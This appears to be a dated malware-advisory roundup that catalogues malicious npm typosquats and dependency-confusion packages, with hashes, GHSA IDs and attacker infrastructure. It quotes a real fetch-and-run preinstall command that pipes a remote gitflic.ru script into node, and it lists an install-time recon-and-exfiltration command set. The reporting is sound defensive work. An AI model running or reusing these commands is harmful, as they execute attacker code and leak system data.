# GitHub Advisory malware sweep - 2026-10-05 (10 npm `hellscripter`/gitflic.ru typosquats of @angular/@babel/express/nuxt via preinstall `curl | node`; 26 npm Wix dep-confusion recon probes - CSS polyfill/a11y/tiny-*/rgx33-* names; 4 npm pino-impersonator jsonspack obfuscator trojans - hardhat-*/chai-as-testmode; 5 npm `4444.vbs` ChaCha20 PowerShell loader siblings - lite-matte/studiocode; plus `@kibt/www-nuxt-i18n` dep-confusion, `internallib_v275` reverse-shell, `monitoring-agent` express credential middleware, `promises-dotenv3` steganographic VBS dropper, `oleh-modal` wallet-connect phishing, `ultimate-websocket` tarball-URL RCE, `core-js-gnz` Python-payload postinstall; `anthropic-sdk` pypi typosquat SPLIT OUT)

> GHSA 2026-10-05: 52 new npm advisories across 11 clusters. Cluster A - 10 `hellscripter` gitflic.ru typosquats of @angular/@babel/express/nuxt. Cluster B - 26 Wix dep-confusion recon probes. Cluster C - 4 pino-impersonator jsonspack obfuscator trojans. Cluster D - 5 `4444.vbs` ChaCha20 PowerShell loader siblings. Clusters E-K - 7 standalone operator one-offs. The pypi `anthropic-sdk` typosquat is SPLIT OUT as its own named incident.

- Published: 2026-10-05
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm
- Scope: 52 packages, 59 compromised versions
- Tags: typosquat, dependency-confusion, credential-theft, infostealer, obfuscation, crypto-wallet-drain, dns-exfiltration
- Also known as: 2026-10-05 GHSA npm sweep, hellscripter gitflic.ru @angular/@babel/express/nuxt typosquat burst, Wix dep-confusion CSS polyfill a11y recon wave, jsonspack pino-impersonator obfuscator trojan cluster, 4444.vbs ChaCha20 PowerShell loader cluster, oleh-modal WalletConnect phishing + macOS credential prompt theft
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, kam193/bad-packages
- Incident ID: multi-2026-10-05-ghsa-malware-sweep

## Affected packages (52)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@angularr/cli](https://dependencywatch.io/package/npm/@angularr/cli) | npm | 22.2.1 |
| [@angularr/core](https://dependencywatch.io/package/npm/@angularr/core) | npm | 1.0.67 |
| [@angularr/router](https://dependencywatch.io/package/npm/@angularr/router) | npm | 2.2.0 |
| [@angulra/cli](https://dependencywatch.io/package/npm/@angulra/cli) | npm | 22.2.1 |
| [@angulra/core](https://dependencywatch.io/package/npm/@angulra/core) | npm | 1.0.67 |
| [@babell/core](https://dependencywatch.io/package/npm/@babell/core) | npm | 8.0.6 |
| [@kibt/www-nuxt-i18n](https://dependencywatch.io/package/npm/@kibt/www-nuxt-i18n) | npm | 0.0.1, 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1 |
| [@nagular/core](https://dependencywatch.io/package/npm/@nagular/core) | npm | 1.0.67 |
| [@nagular/router](https://dependencywatch.io/package/npm/@nagular/router) | npm | 2.2.1 |
| [a11y-tabindex-manager](https://dependencywatch.io/package/npm/a11y-tabindex-manager) | npm | 1.0.0 |
| [chai-as-testmode](https://dependencywatch.io/package/npm/chai-as-testmode) | npm | 1.4.7 |
| [core-js-gnz](https://dependencywatch.io/package/npm/core-js-gnz) | npm | 1.0.0 |
| [css-a11y-contrast-utils](https://dependencywatch.io/package/npm/css-a11y-contrast-utils) | npm | 1.0.0 |
| [css-anchor-pos-fallback](https://dependencywatch.io/package/npm/css-anchor-pos-fallback) | npm | 1.0.0 |
| [css-env-function-shim](https://dependencywatch.io/package/npm/css-env-function-shim) | npm | 1.0.0 |
| [css-field-sizing-polyfill](https://dependencywatch.io/package/npm/css-field-sizing-polyfill) | npm | 1.0.0 |
| [css-gap-decorations-polyfill](https://dependencywatch.io/package/npm/css-gap-decorations-polyfill) | npm | 1.0.0 |
| [css-interop-observer-polyfill](https://dependencywatch.io/package/npm/css-interop-observer-polyfill) | npm | 1.0.0 |
| [css-light-dark-polyfill](https://dependencywatch.io/package/npm/css-light-dark-polyfill) | npm | 1.0.0 |
| [css-logical-prop-shim](https://dependencywatch.io/package/npm/css-logical-prop-shim) | npm | 1.0.0 |
| [css-reading-flow-polyfill](https://dependencywatch.io/package/npm/css-reading-flow-polyfill) | npm | 1.0.0 |
| [css-relative-color-util](https://dependencywatch.io/package/npm/css-relative-color-util) | npm | 1.0.0 |
| [css-scroll-anchor-polyfill](https://dependencywatch.io/package/npm/css-scroll-anchor-polyfill) | npm | 1.0.0 |
| [css-scroll-state-polyfill](https://dependencywatch.io/package/npm/css-scroll-state-polyfill) | npm | 1.0.0 |
| [css-snap-target-polyfill](https://dependencywatch.io/package/npm/css-snap-target-polyfill) | npm | 1.0.0 |
| [css-starting-style-polyfill](https://dependencywatch.io/package/npm/css-starting-style-polyfill) | npm | 1.0.0 |
| [express-enhanced](https://dependencywatch.io/package/npm/express-enhanced) | npm | 5.2.2 |
| [express-fork](https://dependencywatch.io/package/npm/express-fork) | npm | 5.2.2 |
| [focus-visible-polyfill-lite](https://dependencywatch.io/package/npm/focus-visible-polyfill-lite) | npm | 1.0.0 |
| [hardhat-jsx](https://dependencywatch.io/package/npm/hardhat-jsx) | npm | 2.0.1 |
| [hardhat-plus](https://dependencywatch.io/package/npm/hardhat-plus) | npm | 2.21.0 |
| [hardhat-roof](https://dependencywatch.io/package/npm/hardhat-roof) | npm | 2.21.0 |
| [internallib_v275](https://dependencywatch.io/package/npm/internallib_v275) | npm | 1.0.3 |
| [lite-mater](https://dependencywatch.io/package/npm/lite-mater) | npm | 1.0.0 |
| [lite-matte](https://dependencywatch.io/package/npm/lite-matte) | npm | 1.0.0 |
| [lite-matterr](https://dependencywatch.io/package/npm/lite-matterr) | npm | 1.0.0 |
| [minimal-a11y-contrast-check](https://dependencywatch.io/package/npm/minimal-a11y-contrast-check) | npm | 1.0.0 |
| [monitoring-agent](https://dependencywatch.io/package/npm/monitoring-agent) | npm | 1.0.1 |
| [oleh-modal](https://dependencywatch.io/package/npm/oleh-modal) | npm | 1.0.0 |
| [popover-anchor-polyfill](https://dependencywatch.io/package/npm/popover-anchor-polyfill) | npm | 1.0.0 |
| [postcss-gap-fallback-util](https://dependencywatch.io/package/npm/postcss-gap-fallback-util) | npm | 1.0.0 |
| [promises-dotenv3](https://dependencywatch.io/package/npm/promises-dotenv3) | npm | 1.0.0 |
| [rgx33-css-grid-utils](https://dependencywatch.io/package/npm/rgx33-css-grid-utils) | npm | 1.0.0 |
| [rgx33-flex-layout-core](https://dependencywatch.io/package/npm/rgx33-flex-layout-core) | npm | 1.0.0 |
| [studiocode_eligibility](https://dependencywatch.io/package/npm/studiocode_eligibility) | npm | 1.0.1 |
| [studiocode_tools](https://dependencywatch.io/package/npm/studiocode_tools) | npm | 1.0.1 |
| [tiny-css-token-parser](https://dependencywatch.io/package/npm/tiny-css-token-parser) | npm | 1.0.0 |
| [tiny-dom-focus-trap](https://dependencywatch.io/package/npm/tiny-dom-focus-trap) | npm | 1.0.0 |
| [tiny-focusgroup-helper](https://dependencywatch.io/package/npm/tiny-focusgroup-helper) | npm | 1.0.0 |
| [tiny-viewport-unit-calc](https://dependencywatch.io/package/npm/tiny-viewport-unit-calc) | npm | 1.0.0 |
| [ultimate-websocket](https://dependencywatch.io/package/npm/ultimate-websocket) | npm | 1.0.0 |
| [wcag-color-a11y-helpers](https://dependencywatch.io/package/npm/wcag-color-a11y-helpers) | npm | 1.0.0 |

## What happened

Between roughly 2026-10-04 12:00 UTC and 2026-10-05 06:17 UTC, the GitHub Advisory Database (with the OpenSSF malicious-packages bulk export, Amazon Inspector`s IN-MAL feed, and `kam193/bad-packages`) published 52 new npm malware advisories and 1 pypi advisory. The pypi one (`anthropic-sdk`) is SPLIT OUT as [its own incident](https://dependencywatch.io/incident/pypi-2026-10-05-anthropic-sdk-typosquat) because it typosquats a high-profile AI-vendor SDK and exfiltrates AI chat history, SSH keys, and credentials - distinctive enough to warrant dedicated attention.

The npm set breaks into **11 clusters by operator profile and payload family**:

## Cluster A - 10 npm `hellscripter`/gitflic.ru typosquats of @angular/@babel/express/nuxt

| Package | Versions | GHSA | Source SHA-256 |
|---|---|---|---|
| `@angulra/cli` | 22.2.1 | GHSA-2gcf-qjvx-w58p | `e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f` |
| `@angulra/core` | ≤1.0.67 | GHSA-836w-242f-9mvg | `7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34` |
| `@angularr/cli` | 22.2.1 | GHSA-3954-6vvg-qq74 | `122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8` |
| `@angularr/core` | ≤1.0.67 | GHSA-9rxx-xxjx-v9w8 | `801dcd769bdbf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365` |
| `@angularr/router` | 2.2.0 | GHSA-37mv-mqr9-gv2x | `646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83` |
| `@babell/core` | 8.0.6 | GHSA-9hmh-c2v6-5rx3 | `ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b` |
| `@nagular/core` | 1.0.67 | GHSA-wxf9-85p5-gwhp | `5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557` |
| `@nagular/router` | 2.2.1 | GHSA-cg42-crqv-qjm9 | `5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca` |
| `express-fork` | 5.2.2 | GHSA-5pr8-5p22-ffv8 | `174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d` |
| `express-enhanced` | 5.2.2 | GHSA-qj2f-36rw-2gvm | `15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6` |

**The primitive.** All 10 have the identical preinstall script:

```sh
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node
```

The `web.archive.org/web/` prefix is deliberate - it bypasses egress proxies that block `gitflic.ru` directly, because the archive.org snapshot URL resolves to CloudFront. The fetched `node.js` is unpinned and under the attacker`s control; it drops whatever second-stage payload the operator currently has staged (credential theft, SSH-key exfil and persistence, per the GHSA bodies).

**Target shape.** The names are single-character typosquats of the five highest-traffic developer namespaces: `@angular/cli` → `@angulra/cli` and `@angularr/cli`; `@angular/core` → `@angulra/core`, `@angularr/core`, `@nagular/core`; `@angular/router` → `@angularr/router`, `@nagular/router`; `@babel/core` → `@babell/core`; `express` → `express-fork` and `express-enhanced`. A developer who autocompletes from an AI assistant or copies from a tutorial with a typo gets the lure.

**Operator attribution.** First corpus appearance of the `hellscripter` operator on `gitflic.ru`. gitflic.ru is a Russian-hosted git service with no English-language take-down path - exactly the choice an operator makes to raise the cost of removing the payload while npm takes down the packages themselves.

Classify each as `typosquat`. Severity `high` within the sweep (confirmed install-time RCE, but limited reach - only harms whoever installs the lure).

## Cluster B - 26 npm Wix dep-confusion recon probes

All 26 packages share:
- Wix-internal `thunderboltRegistry.js` fingerprint (Thunderbolt is Wix`s internal viewer architecture)
- Install-time recon-and-exfil template: `id`, `whoami`, `uname -a`, `ifconfig`/`ip addr`, `cat /etc/hosts`, hostname + Node version + platform exfiltrated to an attacker-controlled HTTP/OAST/DNS endpoint
- Version `1.0.0` (sentinel for dep-confusion), `≤1.0.0`, or sentinel multi-version spreads
- No second-stage payload (recon-only)

**The 26 packages**: `focus-visible-polyfill-lite`, `css-anchor-pos-fallback`, `css-reading-flow-polyfill`, `css-snap-target-polyfill`, `css-a11y-contrast-utils`, `css-scroll-anchor-polyfill`, `css-logical-prop-shim`, `css-field-sizing-polyfill`, `css-interop-observer-polyfill`, `css-scroll-state-polyfill`, `css-env-function-shim`, `css-relative-color-util`, `css-gap-decorations-polyfill`, `css-light-dark-polyfill`, `css-starting-style-polyfill`, `postcss-gap-fallback-util`, `tiny-focusgroup-helper`, `tiny-css-token-parser`, `wcag-color-a11y-helpers`, `tiny-viewport-unit-calc`, `minimal-a11y-contrast-check`, `rgx33-flex-layout-core`, `rgx33-css-grid-utils`, `popover-anchor-polyfill`, `tiny-dom-focus-trap`, `a11y-tabindex-manager`.

**Attribution.** The `thunderboltRegistry.js` fingerprint and the CSS-polyfill / `tiny-*` / `rgx33-*` / `wcag-*` naming conventions strongly suggest a Wix-internal bug-bounty or red-team engagement targeting `@wix/*` internal module names via dep-confusion. The outbound destinations are OAST collectors (Burp Collaborator, interact.sh) and generic webhook endpoints - typical pentest infrastructure, not criminal C2. Any dep-confusion operator who shares a package name with a victim is still an exposure for that victim regardless of intent.

Classify as `dependency-confusion`. Severity `medium` within the sweep (beacon-only, no second-stage payload).

## Cluster C - 4 npm pino-impersonator jsonspack obfuscator trojans

| Package | Versions | GHSA | Payload | Attribution |
|---|---|---|---|---|
| `hardhat-jsx` | ≤2.0.1 | GHSA-w5cp-x835-j7fg | 4.3MB obfuscator.io payload at import | pino-impersonator |
| `hardhat-roof` | ≤2.21.0 | GHSA-99j2-pxrq-hpqc | 4,373,384-byte lib/config.js, hex-escaped payload | author `jsonspack.com` |
| `hardhat-plus` | ≥2.21.0 | GHSA-2hcg-vv96-p63m | ~4.5MB obfuscated at import | pino-impersonator |
| `chai-as-testmode` | 1.4.7 | GHSA-5hx2-mp3m-4gr6 | base64-exfils full `process.env` to concealed endpoint | pino-impersonator |

All four impersonate the real `pino` logger project with copied documentation and metadata, bundle a multi-MB obfuscator.io-style payload (hex-escaped identifiers, rotating decoder loops, control-flow flattening, self-mutating string arrays), and run top-level on `require()`. This is the same operator profile as [`chai-as-persisted-jsonspack`](https://dependencywatch.io/incident/npm-2026-06-27-chai-as-persisted-jsonspack) - `jsonspack.com` is the author string, and the operator rotates fresh names onto npm every few weeks.

Classify as `malicious-package`. Severity `high` within sweep (confirmed obfuscated payload with env-exfil on at least `chai-as-testmode`).

## Cluster D - 5 npm `4444.vbs` ChaCha20 PowerShell loader siblings

| Package | Versions | GHSA | Source SHA-256 |
|---|---|---|---|
| `lite-matte` | 1.0.0 | GHSA-4c6x-w3wj-2cr2 | `4e7b0ae9e42c334c1c22627e60add7a2c5a0d558a2ab65a3af0043e27bb0e686` |
| `lite-mater` | 1.0.0 | GHSA-294m-x97c-p7xh | `532663c4102d3cf7310e29ca1eb2b389c5c32c1e541da219b7c4364968f4e807` |
| `lite-matterr` | 1.0.0 | GHSA-6p6v-j47j-wgcr | `cc9b5f5edaae9103fd26de7cb70e661d78d6948dc3c519fec6b4b62fd471fbfc` |
| `studiocode_tools` | ≤1.0.1 | GHSA-j79g-9wmp-mcv8 | `261d413c0847b530c9a452c209c25e0a7d9123f9b0f20b26d0afcc41a929c74a` |
| `studiocode_eligibility` | 1.0.1 | GHSA-chvh-489x-9963 | `a49b1af8bbf0463bb38d3049e59c28b0dcc8d2e3e5ef54611b4e77bddfdd36dc` |

All five share the identical `postinstall → wscript.exe 4444.vbs` payload: a ~765 KB VBS with layered obfuscation (XOR-decoded AES S-boxes, SHA-256 constants, ChaCha20-IETF stream cipher) that decrypts a PowerShell loader, writes `%TEMP%\pf.dat`, and injects via process-hollowing. Some packages carry fake "Verdant Signals Corp" branding. All claim "no installation scripts" in README while silently running the dropper. First corpus appearance of this loader family.

Classify as `malicious-package`. Severity `high` within sweep (confirmed Windows dropper with process-hollowing).

## Clusters E-K - operator one-offs

- **Cluster E `@kibt/www-nuxt-i18n`** (GHSA-gh38-mqx9-5mxf) - npm dep-confusion probe targeting an internal `@kibt/*` registry; sentinel versions `0.0.1, 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1`; postinstall beacon exfils hostname + Node version + directory paths. `dependency-confusion`, `medium`.
- **Cluster F `internallib_v275@1.0.3`** (GHSA-wp69-7q5m-655v) - npm dep-confusion with reverse shell exported to private RFC1918 `10.0.49.106:443`. Internal pentest/red-team artefact. `dependency-confusion`, `high` (confirmed reverse shell).
- **Cluster G `monitoring-agent` ≤1.0.1** (GHSA-9q5r-qjph-hpr8) - npm Express middleware that transmits plaintext passwords, usernames, emails and full request payloads to `backend-cybersecuritydashboard.onrender.com/api/events` on every request. Not install-time - runtime per-request credential drain for however long the server runs. `malicious-package`, `high`.
- **Cluster H `promises-dotenv3@1.0.0`** (GHSA-3rx7-3cx7-x3hv) - npm `dotenv` typosquat with steganographic payload hidden in an embedded image, VBS/PowerShell dropper, string-fragmentation evasion. Same payload also distributed under `node-env-buffer`. `malicious-package`, `high`.
- **Cluster I `oleh-modal@1.0.0`** (GHSA-g7w2-c843-wqvj) - npm fake wallet-connect modal: counterfeit MetaMask/Phantom/Rabby/OKX dialogs harvest seed phrases + passwords to `api.wagmiwallet.org`; WebSocket channel triggers spoofed macOS credential prompts for OS login creds. `malicious-package`, `high`.
- **Cluster J `ultimate-websocket@1.0.0`** (GHSA-w8c4-4fjc-rg48) - npm package declaring a bare tarball-URL dependency pointing at an attacker-controlled unrelated GitHub `main` branch, plus `node -e` postinstall. Install-time RCE with mutable payload. `malicious-package`, `high`.
- **Cluster K `core-js-gnz@1.0.0`** (GHSA-5q2j-22rc-7634) - npm postinstall downloads an encrypted payload executed as a Python process; cache markers rate-limit execution to evade sandbox scanners. Dev-machine-only. `malicious-package`, `high`.

## Pypi standalone - `anthropic-sdk@0.1.0` SPLIT OUT

See [its own named incident](https://dependencywatch.io/incident/pypi-2026-10-05-anthropic-sdk-typosquat). OpenSSF `2026-10-anthropic-sdk`, GHSA-xxp4-7566-29xj, SHA-256 `6844e60d4a58dd11040255e8d632bcca66ae02b1048674e79bddbac1b337f442`. Typosquats the official `anthropic` SDK; exfils credentials, env vars, AI chat files and SSH keys over HTTPS and DNS. Not folded into this sweep because the brand-impersonation target and the AI-chat-file exfil are distinctive enough to deserve a dedicated detail page.

## Operator continuity check

- **`hellscripter`/gitflic.ru operator (Cluster A)**: NEW to corpus today. First appearance of the `curl | node` from `gitflic.ru/hellscripter` via `web.archive.org` pattern.
- **Wix dep-confusion recon operator (Cluster B)**: recurring Wix-internal / bug-bounty profile. 26 fresh names today, largest Wix dep-confusion burst in corpus to date.
- **pino-impersonator `jsonspack.com` operator (Cluster C)**: continuation of the operator seen in [`chai-as-persisted-jsonspack`](https://dependencywatch.io/incident/npm-2026-06-27-chai-as-persisted-jsonspack).
- **`4444.vbs` ChaCha20 PowerShell loader operator (Cluster D)**: NEW to corpus today. First appearance of the `wscript.exe 4444.vbs` + `%TEMP%\pf.dat` fingerprint.
- **`2026-10-voxeval` cryptominer campaign**: QUIET today (yesterday`s 10 siblings - no new siblings in this window).
- **`amel10` AWS API Gateway dep-confusion operator, `jexkcode`/`noverojs` PhantomSub Baileys operator, `spo365-graph` AWS Lambda operator, `Graphalgo` Go-module expansion, `donutautosellsrc`/`aseity*` Polygon-C2 pip operator, `kartyk*` red-team, `tailwind-forms-kit` EtherHiding, `chinazhangsan.ccwu.cc` DoH operator, `bfox-build-utils` GH-Actions worm, `fabric-loader-core`/`mfahelper` operator, `zeal-utils` aveliscare canary**: all QUIET today.
- **`anthropic-sdk` pypi typosquat operator (OpenSSF `2026-10-anthropic-sdk`)**: NEW to corpus - split out as its own incident.

## Registry state

All 52 npm packages and the 1 pypi package in this sweep window are registry-quarantined at time of writing. Active operator-side infrastructure named in today`s batch:

- `gitflic.ru/project/hellscripter/install-scripts` (Cluster A)
- `web.archive.org/web/https://gitflic.ru/*` (Cluster A - archive.org bypass)
- OAST collectors + webhook endpoints unique to each Cluster B advisory (not fully enumerated in GHSA bodies)
- `backend-cybersecuritydashboard.onrender.com/api/events` (Cluster G)
- `api.wagmiwallet.org` (Cluster I)
- `10.0.49.106:443` (Cluster F - private RFC1918 reverse-shell target)
- `%TEMP%\4444.vbs`, `%TEMP%\pf.dat` (Cluster D)
- Source SHA-256s per package (listed in the tables above)

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `kam193/bad-packages`. Per-package IOC details drawn from GHSA advisory bodies published between 2026-10-04 12:00 UTC and 2026-10-05 06:17 UTC.

## Impact

- **Cluster A - 10 npm `hellscripter` gitflic.ru typosquats of @angular/@babel/express/nuxt (typosquat, confirmed preinstall RCE)**: all share the identical preinstall script `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned second-stage from the `hellscripter` gitflic.ru account via web.archive.org to bypass registry blocks on the raw gitflic URL. Packages, versions and source SHA-256s: `@angulra/cli@22.2.1` (GHSA-2gcf-qjvx-w58p, `e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f`), `@angulra/core` ≤1.0.67 (GHSA-836w-242f-9mvg, `7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34`), `@angularr/cli@22.2.1` (GHSA-3954-6vvg-qq74, `122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8`), `@angularr/core` ≤1.0.67 (GHSA-9rxx-xxjx-v9w8, `801dcd769bdbf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365`), `@angularr/router@2.2.0` (GHSA-37mv-mqr9-gv2x, `646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83`), `@babell/core@8.0.6` (GHSA-9hmh-c2v6-5rx3, `ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b`), `@nagular/core@1.0.67` (GHSA-wxf9-85p5-gwhp, `5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557`), `@nagular/router@2.2.1` (GHSA-cg42-crqv-qjm9, `5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca`), `express-fork@5.2.2` (GHSA-5pr8-5p22-ffv8, `174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d`), `express-enhanced@5.2.2` (GHSA-qj2f-36rw-2gvm, `15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6`). On a successful `npm install` with scripts enabled, the installer-user gets whatever the second stage decides to drop; the GHSA bodies describe credential theft and persistence as the likely goals
- **Cluster B - 26 npm Wix dep-confusion recon probes (dependency-confusion, confirmed install-time beacon)**: all share the Wix-internal `thunderboltRegistry.js` fingerprint and the same install-time recon-and-exfil template (`id`, `whoami`, `uname -a`, `ifconfig`/`ip addr`, `cat /etc/hosts`, hostname + Node version + platform exfiltrated to an attacker-controlled HTTP/OAST/DNS endpoint). Target: Wix`s internal npm registry via dependency-confusion. All versions `1.0.0` unless noted. Packages: `focus-visible-polyfill-lite` ≤1.0.0 (GHSA-5h59-r5m3-rf9w), `css-anchor-pos-fallback` (GHSA-4ppq-v2jm-24mc), `css-reading-flow-polyfill` (GHSA-h7h4-gh2m-xjmq), `css-snap-target-polyfill` (GHSA-x6m9-jxjp-c938), `css-a11y-contrast-utils` (GHSA-4hxq-p3xc-m5cr), `css-scroll-anchor-polyfill` (GHSA-wqfg-33rw-c9rw), `css-logical-prop-shim` (GHSA-7g6f-95c5-ghgv), `css-field-sizing-polyfill` (GHSA-rmf7-f53x-p8v6), `css-interop-observer-polyfill` (GHSA-h3hx-44p9-q47q), `css-scroll-state-polyfill` (GHSA-wwwp-g75q-ww7r), `css-env-function-shim` (GHSA-592h-fp69-gpjf), `css-relative-color-util` (GHSA-63h7-vcf3-9xgh), `css-gap-decorations-polyfill` (GHSA-gpfw-fchg-rwjm), `css-light-dark-polyfill` (GHSA-p6p9-mjx4-2fgf), `css-starting-style-polyfill` (GHSA-64fj-vj54-m8r3), `postcss-gap-fallback-util` (GHSA-35rh-mx8g-vj6f), `tiny-focusgroup-helper` (GHSA-vj2w-9332-v252), `tiny-css-token-parser` (GHSA-gc5p-h89m-743g), `wcag-color-a11y-helpers` (GHSA-hp8q-m388-6xxg), `tiny-viewport-unit-calc` (GHSA-q9p4-hv94-cxpj), `minimal-a11y-contrast-check` (GHSA-xhw7-45rg-wv8m), `rgx33-flex-layout-core` (GHSA-w2cr-cx6p-c475), `rgx33-css-grid-utils` (GHSA-fqp7-jcwh-2jp3), `popover-anchor-polyfill` (GHSA-254v-2947-w7m9), `tiny-dom-focus-trap` (GHSA-vr8g-34ph-vq26), `a11y-tabindex-manager` (GHSA-6rjc-7w2v-h9mg). Severity `medium` within the sweep (recon-only, no second-stage payload beyond beacon); this is almost certainly a Wix bug-bounty / internal red-team engagement, same pattern as every prior Wix dep-confusion wave
- **Cluster C - 4 npm pino-impersonator jsonspack obfuscator trojans (malicious-package, confirmed obfuscator.io-style payload)**: packages impersonate `pino` logger documentation and bundle a 4-5 MB obfuscator.io payload at load time (hex-escaped identifiers, rotating decoder loops, control-flow flattening, self-mutating string arrays). Published under hardhat-adjacent and chai-adjacent names so a developer searching for Hardhat or chai utilities picks them up. Packages: `hardhat-jsx` ≤2.0.1 (GHSA-w5cp-x835-j7fg, `62ac44be2745338b73861690e7f979216fdfc6c3797dfa2f450e9063aa4158d1`, 4.3MB payload at import), `hardhat-roof` ≤2.21.0 (GHSA-99j2-pxrq-hpqc, `25cbf03ad6014824ab078237f83b2b682145928e5effefbe3dcc5deca9ba1e26`, 4,373,384-byte lib/config.js, authored by `jsonspack.com`), `hardhat-plus` ≥2.21.0 (GHSA-2hcg-vv96-p63m, `02d908da8470ad86669b080d267b57174ccd77e5fd6ed2c371c430d98e869f2b`, ~4.5MB payload at import), `chai-as-testmode@1.4.7` (GHSA-5hx2-mp3m-4gr6, `af5e91a44a2eb0773df19fce2096660c285bafbe846a5f09d8bb25ff0eba22b2`, exfiltrates full `process.env` including npm tokens, GitHub creds, AWS keys over base64 to concealed endpoint). This is the same jsonspack.com operator profile as [`chai-as-persisted-jsonspack`](https://dependencywatch.io/incident/npm-2026-06-27-chai-as-persisted-jsonspack) and other prior pino-impersonator entries - the operator keeps rotating fresh names onto PyPI/npm every few weeks
- **Cluster D - 5 npm `4444.vbs` ChaCha20 PowerShell loader siblings (malicious-package, confirmed Windows dropper with process hollowing)**: all share the identical postinstall `wscript.exe 4444.vbs` payload - a ~765 KB VBScript with multi-layer obfuscation (XOR-decoded AES S-boxes, SHA-256 constants, ChaCha20-IETF stream cipher) that decrypts a PowerShell loader, writes `%TEMP%\pf.dat`, and executes with process-hollowing. Each package falsely claims "no installation scripts" in its README. Attribution to "Verdant Signals Corp" branding on some. Packages: `lite-matte@1.0.0` (GHSA-4c6x-w3wj-2cr2, `4e7b0ae9e42c334c1c22627e60add7a2c5a0d558a2ab65a3af0043e27bb0e686`), `lite-mater@1.0.0` (GHSA-294m-x97c-p7xh, `532663c4102d3cf7310e29ca1eb2b389c5c32c1e541da219b7c4364968f4e807`), `lite-matterr@1.0.0` (GHSA-6p6v-j47j-wgcr, `cc9b5f5edaae9103fd26de7cb70e661d78d6948dc3c519fec6b4b62fd471fbfc`), `studiocode_tools` ≤1.0.1 (GHSA-j79g-9wmp-mcv8, `261d413c0847b530c9a452c209c25e0a7d9123f9b0f20b26d0afcc41a929c74a`), `studiocode_eligibility@1.0.1` (GHSA-chvh-489x-9963, `a49b1af8bbf0463bb38d3049e59c28b0dcc8d2e3e5ef54611b4e77bddfdd36dc`). Payload is Windows-only but it will drop silently on any dev machine that runs `npm install` with scripts enabled on Windows
- **Cluster E - `@kibt/www-nuxt-i18n` npm dep-confusion probe (dependency-confusion, confirmed install-time beacon)**: `@kibt/www-nuxt-i18n` versions `0.0.1, 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1` (GHSA-gh38-mqx9-5mxf, `5ab1895c73507311b9efd31e40015529d9d7735c87e50cf3b714e6e520205ec4`). The spread of versions including the sentinel `99.0.1` is the classic dep-confusion fingerprint for shadowing an internal `@kibt/*` registry. Postinstall exfiltrates hostname + directory paths + Node version to an IP endpoint. Severity `medium` within sweep (beacon-only, no second-stage payload disclosed)
- **Cluster F - `internallib_v275` npm reverse-shell dep-confusion probe (dependency-confusion, confirmed reverse shell)**: `internallib_v275@1.0.3` (GHSA-wp69-7q5m-655v, `80c1c6d383b3defb01da235e39e08ce56276d887e63d900aea2ee689836f71b4`). Exported function fetches and executes a bash reverse shell back to the private-RFC1918 address `10.0.49.106:443`, with a self-referential dependency designed to pull itself into internal build systems via dependency-confusion. The private-IP target makes this an internal engagement artefact (pentest / red-team) rather than external criminal infrastructure, but any public hit on the package still gets the exported-API-triggered reverse shell
- **Cluster G - `monitoring-agent` npm Express credential-exfil middleware (malicious-package, confirmed in-application credential theft)**: `monitoring-agent` ≤1.0.1 (GHSA-9q5r-qjph-hpr8, `703c1e796904571c9f0d08a4769a5f7e25a646483b4a66815a6ddc420ae0ecee`, authored under placeholder metadata "Your Name"). Different from the install-time pattern: this is an Express middleware that, once integrated, intercepts **every HTTP request** and transmits plaintext passwords, usernames, emails, full payloads, headers and query parameters to `https://backend-cybersecuritydashboard.onrender.com/api/events`. A production hit silently drains credentials for as long as the server runs - the exfil is per-request, not one-shot. If you deployed `monitoring-agent` as middleware anywhere, treat every credential ever POSTed through that app as leaked
